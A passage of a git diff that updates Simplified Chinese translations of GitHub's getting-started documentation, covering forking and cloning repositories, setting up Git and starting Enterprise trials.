+例如，可以使用复刻提出与修复 Bug 相关的更改。 无需为您发现的漏洞创建议题，您可以：
 
-### Use someone else's project as a starting point for your own idea.
+- 复刻仓库
+- 进行修复
+- 向项目所有者提交拉取请求。
 
-Open source software is based on the idea that by sharing code, we can make better, more reliable software. For more information, see the "[About the Open Source Initiative](http://opensource.org/about)" on the Open Source Initiative.
+### 将其他人的项目用作自己创意的起点。
 
-For more information about applying open source principles to your organization's development work on {% data variables.product.product_location %}, see {% data variables.product.prodname_dotcom %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+开源软件的理念是通过共享代码，可以开发出更好、更可靠的软件。 更多信息请参阅 Open Source Initiative（开源倡议）上的“[关于开源倡议](http://opensource.org/about)”。
+
+有关将开源原则应用于组织在 {% data variables.product.product_location %} 上的开发工作的详细信息，请参阅 {% data variables.product.prodname_dotcom %} 的白皮书“[内部来源简介](https://resources.github.com/whitepapers/introduction-to-innersource/)”。
 
 {% ifversion fpt or ghes or ghec %}
 
-When creating your public repository from a fork of someone's project, make sure to include a license file that determines how you want your project to be shared with others. For more information, see "[Choose an open source license](https://choosealicense.com/)" at choosealicense.com.
+从其他人的项目复刻创建公共仓库时，请确保包含许可文件以确定您希望与其他人共享项目。 更多信息请参阅 choosealicense.com 上的“[选择开源许可](https://choosealicense.com/)”。
 
 {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %}
 
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-If you haven't yet, you should first [set up Git](/articles/set-up-git). Don't forget to [set up authentication to {% data variables.product.product_location %} from Git](/articles/set-up-git#next-steps-authenticating-with-github-from-git) as well.
+如果尚未[设置 Git](/articles/set-up-git)，您应该先设置它。 不要忘记[从 Git 设置向 {% data variables.product.product_location %} 验证](/articles/set-up-git#next-steps-authenticating-with-github-from-git)。
 
-## Forking a repository
+## 复刻仓库
 
-{% include tool-switcher %}
 {% webui %}
 
-You might fork a project to propose changes to the upstream, or original, repository. In this case, it's good practice to regularly sync your fork with the upstream repository. To do this, you'll need to use Git on the command line. You can practice setting the upstream repository using the same [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository you just forked.
+您可能为了对上游或原始仓库提议更改而复刻项目。 在这种情况下，最好定期将您的复刻与上游仓库同步。 为此，您需要在命令行上使用 Git。 您可以使用刚才复刻的 [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) 仓库练习设置上游仓库。
 
 1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository.
-2. In the top-right corner of the page, click **Fork**.
-![Fork button](/assets/images/help/repository/fork_button.jpg)
+2. 在页面的右上角，单击 **Fork（复刻）**。 ![复刻按钮](/assets/images/help/repository/fork_button.jpg)
 
 {% endwebui %}
 
@@ -66,13 +65,13 @@ You might fork a project to propose changes to the upstream, or original, reposi
 
 {% data reusables.cli.cli-learn-more %}
 
-To create a fork of a repository, use the `gh repo fork` subcommand.
+要创建仓库的复刻，请使用 `gh repo fork` 子命令。
 
 ```shell
 gh repo fork <em>repository</em>
 ```
 
-To create the fork in an organization, use the `--org` flag.
+要在组织中创建复刻，请使用 `- org` 标记。
 
 ```shell
 gh repo fork <em>repository</em> --org "octo-org"
@@ -83,23 +82,22 @@ gh repo fork <em>repository</em> --org "octo-org"
 {% desktop %}
 {% enddesktop %}
 
-## Cloning your forked repository
+## 克隆复刻的仓库
 
 Right now, you have a fork of the Spoon-Knife repository, but you don't have the files in that repository locally on your computer.
 
-{% include tool-switcher %}
 {% webui %}
 
 1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to **your fork** of the Spoon-Knife repository.
 {% data reusables.repositories.copy-clone-url %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.command_line.change-current-directory-clone %}
-4. Type `git clone`, and then paste the URL you copied earlier. It will look like this, with your {% data variables.product.product_name %} username instead of `YOUR-USERNAME`:
+4. 键入 `git clone`，然后粘贴先前复制的 URL。 它将如下所示，使用您的 {% data variables.product.product_name %} 用户名替换 `YOUR-USERNAME`：
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/Spoon-Knife
   ```
 
-5. Press **Enter**. Your local clone will be created.
+5. 按 **Enter** 键。 将创建您的本地克隆。
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/Spoon-Knife
   > Cloning into `Spoon-Knife`...
@@ -115,7 +113,7 @@ Right now, you have a fork of the Spoon-Knife repository, but you don't have the
 
 {% data reusables.cli.cli-learn-more %}
 
-To create a clone of your fork, use the `--clone` flag.
+要创建复刻的克隆，请使用 `--clone` 标记。
 
 ```shell
 gh repo fork <em>repository</em> --clone=true
@@ -133,34 +131,33 @@ gh repo fork <em>repository</em> --clone=true
 
 {% enddesktop %}
 
-## Configuring Git to sync your fork with the original repository
+## 配置 Git 以将您的复刻与原始仓库同步
 
 When you fork a project in order to propose changes to the original repository, you can configure Git to pull changes from the original, or upstream, repository into the local clone of your fork.
 
-{% include tool-switcher %}
 {% webui %}
 
 1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository.
 {% data reusables.repositories.copy-clone-url %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
-4. Change directories to the location of the fork you cloned.
-    - To go to your home directory, type just `cd` with no other text.
-    - To list the files and folders in your current directory, type `ls`.
-    - To go into one of your listed directories, type `cd your_listed_directory`.
-    - To go up one directory, type `cd ..`.
-5. Type `git remote -v` and press **Enter**. You'll see the current configured remote repository for your fork.
+4. 将目录更改为您克隆的复刻的位置。
+    - 要转到主目录，请只键入 `cd`，不要键入其他文本。
+    - 要列出当前目录中的文件和文件夹，请键入 `ls`。
+    - 要进入列出的某个目录，请键入 `cd your_listed_directory`。
+    - 要回到上一个目录，请键入 `cd ..`。
+5. 键入 `git remote -v`，然后按 **Enter** 键。 您将看到当前为复刻配置的远程仓库。
   ```shell
   $ git remote -v
   > origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (fetch)
   > origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (push)
   ```
 
-6. Type `git remote add upstream`, and then paste the URL you copied in Step 2 and press **Enter**. It will look like this:
+6. 键入 `git remote add upstream`，然后粘贴您在第 2 步中复制的 URL 并按 **Enter** 键。 它将如下所示：
   ```shell
   $ git remote add upstream https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife.git
   ```
 
-7. To verify the new upstream repository you've specified for your fork, type `git remote -v` again. You should see the URL for your fork as `origin`, and the URL for the original repository as `upstream`.
+7. 要验证为复刻指定的新上游仓库，请再次键入 `git remote -v`。 您应该看到复刻的 URL 为 `origin`，原始仓库的 URL 为 `upstream`。
   ```shell
   $ git remote -v
   > origin    https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (fetch)
@@ -169,7 +166,7 @@ When you fork a project in order to propose changes to the original repository,
   > upstream  https://{% data variables.command_line.codeblock %}/<em>ORIGINAL_OWNER</em>/<em>ORIGINAL_REPOSITORY</em>.git (push)
   ```
 
-Now, you can keep your fork synced with the upstream repository with a few Git commands. For more information, see "[Syncing a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)."
+现在，您可以使用一些 Git 命令使您的复刻与上游仓库保持同步。 For more information, see "[Syncing a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)."
 
 {% endwebui %}
 
@@ -177,13 +174,13 @@ Now, you can keep your fork synced with the upstream repository with a few Git c
 
 {% data reusables.cli.cli-learn-more %}
 
-To configure a remote repository for the forked repository, use the `--remote` flag.
+要为复刻的仓库配置远程仓库，请使用 `--remote` 标记。
 
 ```shell
 gh repo fork <em>repository</em> --remote=true
 ```
 
-To specify the remote repository's name, use the `--remote-name` flag.
+要指定远程仓库的名称，请使用 `--remote-name` 标记。
 
 ```shell
 gh repo fork <em>repository</em> --remote-name "main-remote-repo"
@@ -191,26 +188,26 @@ gh repo fork <em>repository</em> --remote-name "main-remote-repo"
 
 {% endcli %}
 
-### Next steps
+### 后续步骤
 
-You can make any changes to a fork, including:
+您可以对复刻进行任何更改，包括：
 
-- **Creating branches:** [*Branches*](/articles/creating-and-deleting-branches-within-your-repository/) allow you to build new features or test out ideas without putting your main project at risk.
-- **Opening pull requests:** If you are hoping to contribute back to the original repository, you can send a request to the original author to pull your fork into their repository by submitting a [pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
+- **创建分支：**[*分支*](/articles/creating-and-deleting-branches-within-your-repository/)允许您在不影响主项目的情况下构建新功能或测试创意。
+- **打开拉取请求：**如果您希望回馈原始仓库，您可以通过提交[拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)请求原作者将您的复刻拉取到他们的仓库。
 
-## Find another repository to fork
-Fork a repository to start contributing to a project. {% data reusables.repositories.you-can-fork %}
+## 另找一个仓库进行复刻
+复刻仓库，开始参与项目。 {% data reusables.repositories.you-can-fork %}
 
-{% ifversion fpt or ghec %}You can browse [Explore](https://github.com/explore) to find projects and start contributing to open source repositories. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."
+{% ifversion fpt or ghec %}You can browse [Explore](https://github.com/explore) to find projects and start contributing to open source repositories. 更多信息请参阅“[寻找在 {% data variables.product.prodname_dotcom %} 上参与开源项目的方法](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)”。
 
 {% endif %}
 
-## Celebrate
+## 祝贺
 
-You have now forked a repository, practiced cloning your fork, and configured an upstream repository. For more information about cloning the fork and syncing the changes in a forked repository from your computer see "[Set up Git](/articles/set-up-git)."
+您现在已经复刻了仓库、练习了克隆复刻并配置了上游仓库。 有关克隆复刻和从计算机同步复刻仓库更改的更多信息，请参阅“[设置 Git](/articles/set-up-git)”。
 
-You can also create a new repository where you can put all your projects and share the code on {% data variables.product.prodname_dotcom %}. For more information see, "[Create a repository](/articles/create-a-repo)."
+您也可以创建一个新的仓库，以将所有项目放在 {% data variables.product.prodname_dotcom %} 上并共享代码。 更多信息请参阅“[创建仓库](/articles/create-a-repo)”。
 
-Each repository in {% data variables.product.product_name %} is owned by a person or an organization. You can interact with the people, repositories, and organizations by connecting and following them on {% data variables.product.product_name %}. For more information see "[Be social](/articles/be-social)."
+{% data variables.product.product_name %} 中的每个仓库均归个人或组织所有。 您可以在 {% data variables.product.product_name %} 上连接和关注人员、仓库和组织以与之进行交互。 更多信息请参阅“[社交](/articles/be-social)”。
 
 {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/zh-CN/content/get-started/quickstart/github-flow.md b/translations/zh-CN/content/get-started/quickstart/github-flow.md
index 0ae27c4179..e555ed5d9f 100644
--- a/translations/zh-CN/content/get-started/quickstart/github-flow.md
+++ b/translations/zh-CN/content/get-started/quickstart/github-flow.md
@@ -24,7 +24,7 @@ miniTocMaxHeadingLevel: 3
 
 ## Prerequisites
 
-To follow {% data variables.product.prodname_dotcom %} flow, you will need {% data variables.product.prodname_dotcom %} account and a repository. For information on how to create an account, see "[Signing up for {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-github)." For information on how to create a repository, see "[Create a repo](/github/getting-started-with-github/create-a-repo)."{% ifversion fpt or ghec %} For information on how to find an existing repository to contribute to, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %}
+To follow {% data variables.product.prodname_dotcom %} flow, you will need a {% data variables.product.prodname_dotcom %} account and a repository. For information on how to create an account, see "[Signing up for {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-github)." For information on how to create a repository, see "[Create a repo](/github/getting-started-with-github/create-a-repo)."{% ifversion fpt or ghec %} For information on how to find an existing repository to contribute to, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %}
 
 ## Following {% data variables.product.prodname_dotcom %} flow
 
diff --git a/translations/zh-CN/content/get-started/quickstart/index.md b/translations/zh-CN/content/get-started/quickstart/index.md
index cfc4b9e48c..9cfaec49d2 100644
--- a/translations/zh-CN/content/get-started/quickstart/index.md
+++ b/translations/zh-CN/content/get-started/quickstart/index.md
@@ -1,6 +1,6 @@
 ---
-title: Quickstart
-intro: 'Get started using {% data variables.product.product_name %} to manage Git repositories and collaborate with others.'
+title: 快速入门
+intro: '开始使用 {% data variables.product.product_name %} 来管理 Git 仓库并与他人合作。'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/zh-CN/content/get-started/quickstart/set-up-git.md b/translations/zh-CN/content/get-started/quickstart/set-up-git.md
index 2b916a6abb..91eb445b56 100644
--- a/translations/zh-CN/content/get-started/quickstart/set-up-git.md
+++ b/translations/zh-CN/content/get-started/quickstart/set-up-git.md
@@ -1,5 +1,5 @@
 ---
-title: Set up Git
+title: 设置 Git
 redirect_from:
   - /git-installation-redirect
   - /linux-git-installation
@@ -12,7 +12,7 @@ redirect_from:
   - /articles/set-up-git
   - /github/getting-started-with-github/set-up-git
   - /github/getting-started-with-github/quickstart/set-up-git
-intro: 'At the heart of {% data variables.product.prodname_dotcom %} is an open source version control system (VCS) called Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer.'
+intro: '{% data variables.product.prodname_dotcom %} 的核心是名为 Git 的开源版本控制系统 (VCS) 。 Git 负责在您计算机上本地发生的、与 {% data variables.product.prodname_dotcom %} 有关的所有内容。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -24,28 +24,39 @@ topics:
   - Notifications
   - Accounts
 ---
-## Using Git
 
-To use Git on the command line, you'll need to download, install, and configure Git on your computer. You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.prodname_dotcom %} from the command line. For more information, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+## 使用 Git
 
-If you want to work with Git locally, but don't want to use the command line, you can instead download and install the [{% data variables.product.prodname_desktop %}]({% data variables.product.desktop_link %}) client.  For more information, see "[Installing and configuring {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/)."
+要在命令行中使用 Git，您将需要在计算机上下载、安装和配置 Git。 You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.prodname_dotcom %} from the command line. 更多信息请参阅“[关于 {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)”。
 
-If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete many Git-related actions directly in the browser, including:
+如果要在本地使用 Git，但不想使用命令行，您可以下载并安装 [{% data variables.product.prodname_desktop %}]({% data variables.product.desktop_link %}) 客户端。  更多信息请参阅“[安装和配置 {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/)”。
 
-- [Creating a repository](/articles/create-a-repo)
-- [Forking a repository](/articles/fork-a-repo)
-- [Managing files](/repositories/working-with-files/managing-files)
-- [Being social](/articles/be-social)
+如果无需在本地使用文件，{% data variables.product.product_name %} 可让您在浏览器中直接完成许多 Git 相关的操作，包括：
 
-## Setting up Git
+- [创建仓库](/articles/create-a-repo)
+- [复刻仓库](/articles/fork-a-repo)
+- [管理文件](/repositories/working-with-files/managing-files)
+- [社交化](/articles/be-social)
 
-1. [Download and install the latest version of Git](https://git-scm.com/downloads).
-2. [Set your username in Git](/github/getting-started-with-github/setting-your-username-in-git).
-3. [Set your commit email address in Git](/articles/setting-your-commit-email-address).
+## 设置 Git
 
-## Next steps: Authenticating with {% data variables.product.prodname_dotcom %} from Git
+1. [下载并安装最新版本的 Git](https://git-scm.com/downloads)。
 
-When you connect to a {% data variables.product.prodname_dotcom %} repository from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH.
+{% note %}
+
+**Note**: If you are using a Chrome OS device, additional set up is required:
+
+1. Install a terminal emulator such as Termux from the Google Play Store on your Chrome OS device.
+2. From the terminal emulator that you installed, install Git. For example, in Termux, enter `apt install git` and then type `y` when prompted.
+
+{% endnote %}
+
+2. [在 Git 中设置您的用户名](/github/getting-started-with-github/setting-your-username-in-git)。
+3. [在 Git 中设置提交电子邮件地址](/articles/setting-your-commit-email-address)。
+
+## 后续步骤：使用来自 Git 的 {% data variables.product.prodname_dotcom %} 进行身份验证
+
+从 Git 连接到 {% data variables.product.prodname_dotcom %} 仓库时，您将需要使用 HTTPS 或 SSH 通过 {% data variables.product.product_name %} 进行身份验证。
 
 {% note %}
 
@@ -53,20 +64,20 @@ When you connect to a {% data variables.product.prodname_dotcom %} repository fr
 
 {% endnote %}
 
-### Connecting over HTTPS (recommended)
+### 通过 HTTPS 连接（推荐）
 
-If you [clone with HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), you can [cache your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git) using a credential helper.
+如果[使用 HTTPS 克隆](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls)，您可以使用凭据小助手[在 Git 中缓存 {% data variables.product.prodname_dotcom %} 凭据](/github/getting-started-with-github/caching-your-github-credentials-in-git)。
 
-### Connecting over SSH
+### 通过 SSH 连接
 
-If you [clone with SSH](/github/getting-started-with-github/about-remote-repositories/#cloning-with-ssh-urls), you must [generate SSH keys](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) on each computer you use to push or pull from {% data variables.product.product_name %}.
+如果[使用 SSH 克隆](/github/getting-started-with-github/about-remote-repositories/#cloning-with-ssh-urls)，您必须在用于从 {% data variables.product.product_name %} 推送或拉取的每台计算机上[生成 SSH 密钥](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)。
 
-## Celebrate
+## 祝贺
 
-Congratulations, you now have Git and {% data variables.product.prodname_dotcom %} all set up! You may now choose to create a repository where you can put your projects. This is a great way to back up your code and makes it easy to share the code around the world. For more information see "[Create a repository](/articles/create-a-repo)".
+恭喜。您现在已将 Git 和 {% data variables.product.prodname_dotcom %} 全部设置完毕！ 您现在可以选择创建仓库以放置项目。 这是备份代码的好方法，易于在世界各地分享代码。 更多信息请参阅“[创建仓库](/articles/create-a-repo)”。
 
-You can create a copy of a repository by forking it and propose the changes that you want to see without affecting the upstream repository. For more information see "[Fork a repository](/articles/fork-a-repo)."
+您可以通过复刻创建仓库的副本，并提出您希望看到的更改，而不会影响上游仓库。 更多信息请参阅“[复刻仓库](/articles/fork-a-repo)”。
 
-Each repository on {% data variables.product.prodname_dotcom %} is owned by a person or an organization. You can interact with the people, repositories, and organizations by connecting and following them on {% data variables.product.product_name %}. For more information see "[Be social](/articles/be-social)."
+Each repository on {% data variables.product.prodname_dotcom %} is owned by a person or an organization. 您可以在 {% data variables.product.product_name %} 上连接和关注人员、仓库和组织以与之进行交互。 更多信息请参阅“[社交](/articles/be-social)”。
 
 {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/zh-CN/content/get-started/signing-up-for-github/index.md b/translations/zh-CN/content/get-started/signing-up-for-github/index.md
index 5b9a0d3fcd..244c3ccd49 100644
--- a/translations/zh-CN/content/get-started/signing-up-for-github/index.md
+++ b/translations/zh-CN/content/get-started/signing-up-for-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Signing up for GitHub
-intro: 'Start using {% data variables.product.prodname_dotcom %} for yourself or your team.'
+title: 注册 GitHub
+intro: '开始为自己或您的团队使用 {% data variables.product.prodname_dotcom %}。'
 redirect_from:
   - /articles/signing-up-for-github
   - /github/getting-started-with-github/signing-up-for-github
diff --git a/translations/zh-CN/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md b/translations/zh-CN/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md
index 2f1cf8bcf2..d922505b6e 100644
--- a/translations/zh-CN/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md
+++ b/translations/zh-CN/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md
@@ -1,6 +1,6 @@
 ---
 title: Setting up a trial of GitHub AE
-intro: 'You can try {% data variables.product.prodname_ghe_managed %} for free.'
+intro: '您可以免费试用 {% data variables.product.prodname_ghe_managed %}。'
 versions:
   ghae: '*'
 topics:
@@ -10,12 +10,12 @@ shortTitle: GitHub AE trial
 
 ## About the {% data variables.product.prodname_ghe_managed %} trial
 
-You can set up a 90-day trial to evaluate {% data variables.product.prodname_ghe_managed %}. This process allows you to deploy a {% data variables.product.prodname_ghe_managed %} account in your existing Azure region. 
+You can set up a 90-day trial to evaluate {% data variables.product.prodname_ghe_managed %}. This process allows you to deploy a {% data variables.product.prodname_ghe_managed %} account in your existing Azure region.
 
 - **{% data variables.product.prodname_ghe_managed %} account**: The Azure resource that contains the required components, including the instance.
 - **{% data variables.product.prodname_ghe_managed %} portal**: The Azure management tool at [https://portal.azure.com](https://portal.azure.com). This is used to deploy the {% data variables.product.prodname_ghe_managed %} account.
 
-## Setting up your trial of {% data variables.product.prodname_ghe_managed %}
+## 设置 {% data variables.product.prodname_ghe_managed %} 的试用版
 
 
 Before you can start your trial of {% data variables.product.prodname_ghe_managed %}, you must request access by contacting your {% data variables.product.prodname_dotcom %} account team. {% data variables.product.prodname_dotcom %} will enable the {% data variables.product.prodname_ghe_managed %} trial for your Azure subscription.
@@ -26,18 +26,16 @@ Contact {% data variables.contact.contact_enterprise_sales %} to check your elig
 
 The {% data variables.actions.azure_portal %} allows you to deploy the {% data variables.product.prodname_ghe_managed %} account in your Azure resource group.
 
-1. On the {% data variables.actions.azure_portal %}, type `GitHub AE` in the search field. Then, under _Services_, click {% data variables.product.prodname_ghe_managed %}.
-    ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-search.png)
+1. On the {% data variables.actions.azure_portal %}, type `GitHub AE` in the search field. Then, under _Services_, click {% data variables.product.prodname_ghe_managed %}. ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-search.png)
 1. To begin the process of adding a new {% data variables.product.prodname_ghe_managed %} account, click **Create GitHub AE account**.
-1. Complete the "Project details" and "Instance details" fields.
-    ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-form.png)
+1. Complete the "Project details" and "Instance details" fields. ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-form.png)
     - **Account name:** The hostname for your enterprise
     - **Administrator username:** A username for the initial enterprise owner that will be created in {% data variables.product.prodname_ghe_managed %}
     - **Administrator email:** The email address that will receive the login information
 1. To review a summary of the proposed changes, click **Review + create**.
 1. After the validation process has completed, click **Create**.
 
-The email address you entered above will receive instructions on how to access your enterprise. After you have access, you can get started by following the initial setup steps. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)."
+The email address you entered above will receive instructions on how to access your enterprise. After you have access, you can get started by following the initial setup steps. 更多信息请参阅“[初始化 {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)。”
 
 {% note %}
 
@@ -50,20 +48,19 @@ The email address you entered above will receive instructions on how to access y
 You can use the {% data variables.actions.azure_portal %} to navigate to your {% data variables.product.prodname_ghe_managed %} instance. The resulting list includes all the {% data variables.product.prodname_ghe_managed %} instances in your Azure region.
 
 1. On the {% data variables.actions.azure_portal %}, in the left panel, click **All resources**.
-1. From the available filters, click **All types**, then deselect **Select all** and select **GitHub AE**:
-    ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-type-filter.png)
+1. From the available filters, click **All types**, then deselect **Select all** and select **GitHub AE**: ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-type-filter.png)
 
-## Next steps
+## 后续步骤
 
-Once your instance has been provisioned, the next step is to initialize {% data variables.product.prodname_ghe_managed %}. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae)."
+Once your instance has been provisioned, the next step is to initialize {% data variables.product.prodname_ghe_managed %}. 更多信息请参阅“[初始化 {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae)。”
 
-## Finishing your trial
+## 结束试用
 
 You can upgrade to a full license at any time during the trial period by contacting contact {% data variables.contact.contact_enterprise_sales %}. If you haven't upgraded by the last day of your trial, then the instance is automatically deleted.
 
-If you need more time to evaluate {% data variables.product.prodname_ghe_managed %}, contact {% data variables.contact.contact_enterprise_sales %} to request an extension.
+如果需要更多时间来评估 {% data variables.product.prodname_ghe_managed %}，请联系 {% data variables.contact.contact_enterprise_sales %} 申请延期。
 
-## Further reading 
+## 延伸阅读
 
 - "[Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.prodname_ghe_managed %}](/github/getting-started-with-github/about-github-advanced-security#enabling-advanced-security-features-on-github-ae)"
 - "[{% data variables.product.prodname_ghe_managed %} release notes](/github-ae@latest/admin/overview/github-ae-release-notes)" 
diff --git a/translations/zh-CN/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md b/translations/zh-CN/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md
index f5c9633c79..5953009d94 100644
--- a/translations/zh-CN/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md
+++ b/translations/zh-CN/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up a trial of GitHub Enterprise Cloud
-intro: 'You can try {% data variables.product.prodname_ghe_cloud %} for free.'
+title: 设置 GitHub Enterprise Cloud 试用版
+intro: '您可以免费试用 {% data variables.product.prodname_ghe_cloud %}。'
 redirect_from:
   - /articles/setting-up-a-trial-of-github-enterprise-cloud
   - /github/getting-started-with-github/setting-up-a-trial-of-github-enterprise-cloud
@@ -11,13 +11,13 @@ versions:
   ghes: '*'
 topics:
   - Accounts
-shortTitle: Enterprise Cloud trial
+shortTitle: Enterprise Cloud 试用版
 ---
 
 {% data reusables.enterprise.ghec-cta-button %}
 
 
-## About {% data variables.product.prodname_ghe_cloud %}
+## 关于 {% data variables.product.prodname_ghe_cloud %}
 
 {% data variables.product.prodname_ghe_cloud %} is a plan for large businesses or teams who collaborate on {% data variables.product.prodname_dotcom_the_website %}.
 
@@ -33,44 +33,41 @@ You can use organizations for free with {% data variables.product.prodname_free_
 
 {% data reusables.products.which-product-to-use %}
 
-## About trials of {% data variables.product.prodname_ghe_cloud %}
+## 关于 {% data variables.product.prodname_ghe_cloud %} 试用版
 
-You can set up a 30-day trial to evaluate {% data variables.product.prodname_ghe_cloud %}. You do not need to provide a payment method during the trial unless you add {% data variables.product.prodname_marketplace %} apps to your organization that require a payment method. For more information, see "<a href="/articles/about-billing-for-github-marketplace/" class="dotcom-only">About billing for {% data variables.product.prodname_marketplace %}</a>."
+You can set up a 30-day trial to evaluate {% data variables.product.prodname_ghe_cloud %}. 在试用期间无需提供付款方式，除非您将 {% data variables.product.prodname_marketplace %} 应用程序添加到需要付款方式的组织。 更多信息请参阅“<a href="/articles/about-billing-for-github-marketplace/" class="dotcom-only">关于 {% data variables.product.prodname_marketplace %} 的计费</a>”。
 
-Your trial includes 50 seats. If you need more seats to evaluate {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. At the end of the trial, you can choose a different number of seats.
+试用版包括 50 个席位。 如果需要更多席位来评估 {% data variables.product.prodname_ghe_cloud %}，请联系 {% data variables.contact.contact_enterprise_sales %}。 在试用结束时，您可以选择不同数量的席位。
 
-Trials are also available for {% data variables.product.prodname_ghe_server %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/articles/setting-up-a-trial-of-github-enterprise-server)."
+试用版也可用于 {% data variables.product.prodname_ghe_server %}。 更多信息请参阅“[设置 {% data variables.product.prodname_ghe_server %} 的试用](/articles/setting-up-a-trial-of-github-enterprise-server)”。
 
-## Setting up your trial of {% data variables.product.prodname_ghe_cloud %}
+## 设置 {% data variables.product.prodname_ghe_cloud %} 的试用版
 
-Before you can try {% data variables.product.prodname_ghe_cloud %}, you must be signed into a user account. If you don't already have a user account on {% data variables.product.prodname_dotcom_the_website %}, you must create one. For more information, see "<a href="/articles/signing-up-for-a-new-github-account" class="dotcom-only">Signing up for a new {% data variables.product.prodname_dotcom %} account</a>."
+Before you can try {% data variables.product.prodname_ghe_cloud %}, you must be signed into a user account. If you don't already have a user account on {% data variables.product.prodname_dotcom_the_website %}, you must create one. 更多信息请参阅“<a href="/articles/signing-up-for-a-new-github-account" class="dotcom-only">注册新 {% data variables.product.prodname_dotcom %} 帐户</a>”。
 
 1. Navigate to [{% data variables.product.prodname_dotcom %} for enterprises](https://github.com/enterprise).
-1. Click **Start a free trial**.
-   !["Start a free trial" button](/assets/images/help/organizations/start-a-free-trial-button.png)
-1. Click **Enterprise Cloud**.
-   !["Enterprise Cloud" button](/assets/images/help/organizations/enterprise-cloud-trial-option.png)
+1. Click **Start a free trial**. !["Start a free trial" button](/assets/images/help/organizations/start-a-free-trial-button.png)
